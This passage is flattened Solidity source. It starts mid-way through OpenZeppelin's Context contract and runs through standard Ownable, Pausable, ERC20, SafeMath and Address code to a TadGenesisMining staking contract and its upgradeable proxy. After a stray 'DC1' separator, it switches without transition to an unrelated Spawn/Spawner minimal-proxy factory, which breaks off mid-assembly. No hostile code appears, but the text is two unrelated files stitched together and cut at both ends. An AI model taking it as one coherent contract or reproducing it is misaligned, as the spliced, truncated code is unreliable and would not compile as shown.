function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/utils/Pausable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/TadGenesisMiningStorage.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract OwnableStorage{
address internal _owner;
}
contract PausableStorage{
bool internal _paused;
}
contract TadGenesisMiningStorage {
using SafeMath for uint256;
bool constant public isTadGenesisMining = true;
bool public initiated = false;
// proxy storage
address public admin;
address public implementation;
ERC20 public TenToken;
ERC20 public TadToken;
uint public startMiningBlockNum = 0;
uint public totalGenesisBlockNum = 172800;
uint public endMiningBlockNum = startMiningBlockNum + totalGenesisBlockNum;
uint public tadPerBlock = 1150000000000000000;
uint public constant stakeInitialIndex = 1e36;
uint public miningStateBlock = startMiningBlockNum;
uint public miningStateIndex = stakeInitialIndex;
mapping (address => uint) public stakeHolders;
uint public totalStaked;
mapping (address => uint) public stakerIndexes;
mapping (address => uint) public stakerClaimed;
uint public totalClaimed;
}
// File: contracts/TadGenesisMining.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract TadGenesisMining is Ownable, Pausable, TadGenesisMiningStorage {
event Staked(address indexed user, uint256 amount, uint256 total);
event Unstaked(address indexed user, uint256 amount, uint256 total);
event ClaimedTad(address indexed user, uint amount, uint total);
function initiate(uint _startMiningBlocknum, uint _totalGenesisBlockNum, uint _tadPerBlock, ERC20 _tad, ERC20 _ten) public onlyOwner{
require(initiated==false, "contract is already initiated");
initiated = true;
require(_totalGenesisBlockNum >= 100, "totalGenesisBlockNum is too small");
if(_startMiningBlocknum == 0){
_startMiningBlocknum = block.number;
}
_tad.totalSupply(); //sanity check
_ten.totalSupply(); //sanity check
startMiningBlockNum = _startMiningBlocknum;
totalGenesisBlockNum = _totalGenesisBlockNum;
endMiningBlockNum = startMiningBlockNum + totalGenesisBlockNum;
miningStateBlock = startMiningBlockNum;
tadPerBlock = _tadPerBlock;
TadToken = _tad;
TenToken = _ten;
}
// @notice stake some TEN
// @param _amount some amount of TEN, requires enought allowence from TEN smart contract
function stake(uint256 _amount) public whenNotPaused{
createStake(msg.sender, _amount);
}
// @notice internal function for staking
function createStake(
address _address,
uint256 _amount
)
internal
{
claimTad();
require(block.number<endMiningBlockNum, "staking period has ended");
require(
TenToken.transferFrom(_address, address(this), _amount),
"Stake required");
stakeHolders[_address] = stakeHolders[_address].add(_amount);
totalStaked = totalStaked.add(_amount);
emit Staked(
_address,
_amount,
stakeHolders[_address]);
}
// @notice unstake TEN token
// @param _amount if 0, unstake all TEN available
function unstake(uint256 _amount) public whenNotPaused{
if(_amount==0){
_amount = stakeHolders[msg.sender];
}
if(_amount == 0){ // if staking balance == 0, do nothing
return;
}
withdrawStake(msg.sender, _amount);
}
// @notice internal function for unstaking
function withdrawStake(
address _address,
uint256 _amount
)
internal
{
claimTad();
if(_amount > stakeHolders[_address]){ //if amount is larger than owned
_amount = stakeHolders[_address];
}
require(
TenToken.transfer(_address, _amount),
"Unable to withdraw stake");
stakeHolders[_address] = stakeHolders[_address].sub(_amount);
totalStaked = totalStaked.sub(_amount);
updateMiningState();
emit Unstaked(
_address,
_amount,
stakeHolders[_address]);
}
// @notice internal function for updating mining state
function updateMiningState() internal{
if(miningStateBlock == endMiningBlockNum){ //if miningStateBlock is already the end of program, dont update state
return;
}
(miningStateIndex, miningStateBlock) = getMiningState(block.number);
}
// @notice calculate current mining state
function getMiningState(uint _blockNum) public view returns(uint, uint){
require(_blockNum >= miningStateBlock, "_blockNum must be >= miningStateBlock");
uint blockNumber = _blockNum;
if(_blockNum>endMiningBlockNum){ //if current block.number is bigger than the end of program, only update the state to endMiningBlockNum
blockNumber = endMiningBlockNum;
}
uint deltaBlocks = blockNumber.sub(miningStateBlock);
uint _miningStateBlock = miningStateBlock;
uint _miningStateIndex = miningStateIndex;
if (deltaBlocks > 0 && totalStaked > 0) {
uint tadAccrued = deltaBlocks.mul(tadPerBlock);
uint ratio = tadAccrued.mul(1e18).div(totalStaked); //multiple ratio to 1e18 to prevent rounding error
_miningStateIndex = miningStateIndex.add(ratio); //index is 1e18 precision
_miningStateBlock = blockNumber;
}
return (_miningStateIndex, _miningStateBlock);
}
// @notice claim TAD based on current state
function claimTad() public whenNotPaused {
updateMiningState();
uint claimableTad = claimableTad(msg.sender);
stakerIndexes[msg.sender] = miningStateIndex;
if(claimableTad > 0){
stakerClaimed[msg.sender] = stakerClaimed[msg.sender].add(claimableTad);
totalClaimed = totalClaimed.add(claimableTad);
TadToken.transfer(msg.sender, claimableTad);
emit ClaimedTad(msg.sender, claimableTad, stakerClaimed[msg.sender]);
}
}
// @notice calculate claimable tad based on current state
function claimableTad(address _address) public view returns(uint){
uint stakerIndex = stakerIndexes[_address];
// if it's the first stake for user and the first stake for entire mining program, set stakerIndex as stakeInitialIndex
if (stakerIndex == 0 && totalStaked == 0) {
stakerIndex = stakeInitialIndex;
}
//else if it's the first stake for user, set stakerIndex as current miningStateIndex
if(stakerIndex == 0){
stakerIndex = miningStateIndex;
}
uint deltaIndex = miningStateIndex.sub(stakerIndex);
uint tadDelta = deltaIndex.mul(stakeHolders[_address]).div(1e18);
return tadDelta;
}
// @notice test function
function doNothing() public{
}
/*======== admin functions =========*/
// @notice admin function to pause the contract
function pause() public onlyOwner{
_pause();
}
// @notice admin function to unpause the contract
function unpause() public onlyOwner{
_unpause();
}
// @notice admin function to send TAD to external address, for emergency use
function sendTad(address _to, uint _amount) public onlyOwner{
TadToken.transfer(_to, _amount);
}
}
// File: contracts/TadGenesisMiningProxy.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract TadGenesisMiningProxy is OwnableStorage, PausableStorage, TadGenesisMiningStorage {
event NewImplementation(address oldImplementation, address newImplementation);
event NewAdmin(address oldAdmin, address newAdmin);
constructor(TadGenesisMining newImplementation) public {
admin = msg.sender;
_owner = msg.sender;
require(newImplementation.isTadGenesisMining() == true, "invalid implementation");
implementation = address(newImplementation);
emit NewImplementation(address(0), implementation);
}
/*** Admin Functions ***/
function _setImplementation(TadGenesisMining newImplementation) public {
require(msg.sender==admin, "UNAUTHORIZED");
require(newImplementation.isTadGenesisMining() == true, "invalid implementation");
address oldImplementation = implementation;
implementation = address(newImplementation);
emit NewImplementation(oldImplementation, implementation);
}
/**
* @notice Transfer of admin rights
* @dev Admin function to change admin
* @param newAdmin New admin.
*/
function _setAdmin(address newAdmin) public {
// Check caller = admin
require(msg.sender==admin, "UNAUTHORIZED");
// Save current value, if any, for inclusion in log
address oldAdmin = admin;
admin = newAdmin;
emit NewAdmin(oldAdmin, newAdmin);
}
/**
* @dev Delegates execution to an implementation contract.
* It returns to the external caller whatever the implementation returns
* or forwards reverts.
*/
fallback() external {
// delegate all other functions to current implementation
(bool success, ) = implementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize())
switch success
case 0 { revert(free_mem_ptr, returndatasize()) }
default { return(free_mem_ptr, returndatasize()) }
}
}
}
|
DC1
|
pragma solidity ^0.5.0;
/**
* @title Spawn
* @author 0age
* @notice This contract provides creation code that is used by Spawner in order
* to initialize and deploy eip-1167 minimal proxies for a given logic contract.
*/
contract Spawn {
constructor(
address logicContract,
bytes memory initializationCalldata
) public payable {
// delegatecall into the logic contract to perform initialization.
(bool ok, ) = logicContract.delegatecall(initializationCalldata);
if (!ok) {
// pass along failure message from delegatecall and revert.
assembly {
returndatacopy(0, 0, returndatasize)
revert(0, returndatasize)
}
}
// place eip-1167 runtime code in memory.
bytes memory runtimeCode = abi.encodePacked(
bytes10(0x363d3d373d3d3d363d73),
logicContract,
bytes15(0x5af43d82803e903d91602b57fd5bf3)
);
// return eip-1167 code to write it to spawned contract runtime.
assembly {
return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length
}
}
}
/**
* @title Spawner
* @author 0age
* @notice This contract spawns and initializes eip-1167 minimal proxies that
* point to existing logic contracts. The logic contracts need to have an
* intitializer function that should only callable when no contract exists at
* their current address (i.e. it is being `DELEGATECALL`ed from a constructor).
*/
contract Spawner {
/**
* @notice Internal function for spawning an eip-1167 minimal proxy using
* `CREATE2`.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @return The address of the newly-spawned contract.
*/
function _spawn(
address logicContract,
bytes memory initializationCalldata
) internal returns (address spawnedContract) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// spawn the contract using `CREATE2`.
spawnedContract = _spawnCreate2(initCode);
}
/**
* @notice Internal view function for finding the address of the next standard
* eip-1167 minimal proxy created using `CREATE2` with a given logic contract
* and initialization calldata payload.
* @param logicContract address The address of the logic contract.
* @param initializationCalldata bytes The calldata that will be supplied to
* the `DELEGATECALL` from the spawned contract to the logic contract during
* contract creation.
* @return The address of the next spawned minimal proxy contract with the
* given parameters.
*/
function _computeNextAddress(
address logicContract,
bytes memory initializationCalldata
) internal view returns (address target) {
// place creation code and constructor args of contract to spawn in memory.
bytes memory initCode = abi.encodePacked(
type(Spawn).creationCode,
abi.encode(logicContract, initializationCalldata)
);
// get target address using the constructed initialization code.
(, target) = _getSaltAndTarget(initCode);
}
/**
* @notice Private function for spawning a compact eip-1167 minimal proxy
* using `CREATE2`. Provides logic that is reused by internal functions. A
* salt will also be chosen based on the calling address and a computed nonce
* that prevents deployments to existing addresses.
* @param initCode bytes The contract creation code.
* @return The address of the newly-spawned contract.
*/
function _spawnCreate2(
bytes memory initCode
) private returns (address spawnedContract) {
// get salt to use during deployment using the supplied initialization code.
(bytes32 salt, ) = _getSaltAndTarget(initCode);
assembly {
let encoded_data := add(0x20, initCode) // load initialization code.
let encoded_size := mload(initCode) // load the init code's length.
spawnedContract := create2( // call `CREATE2` w/ 4 arguments.
callvalue, // forward any supplied endowment.
encoded_data, // pass in initialization code.
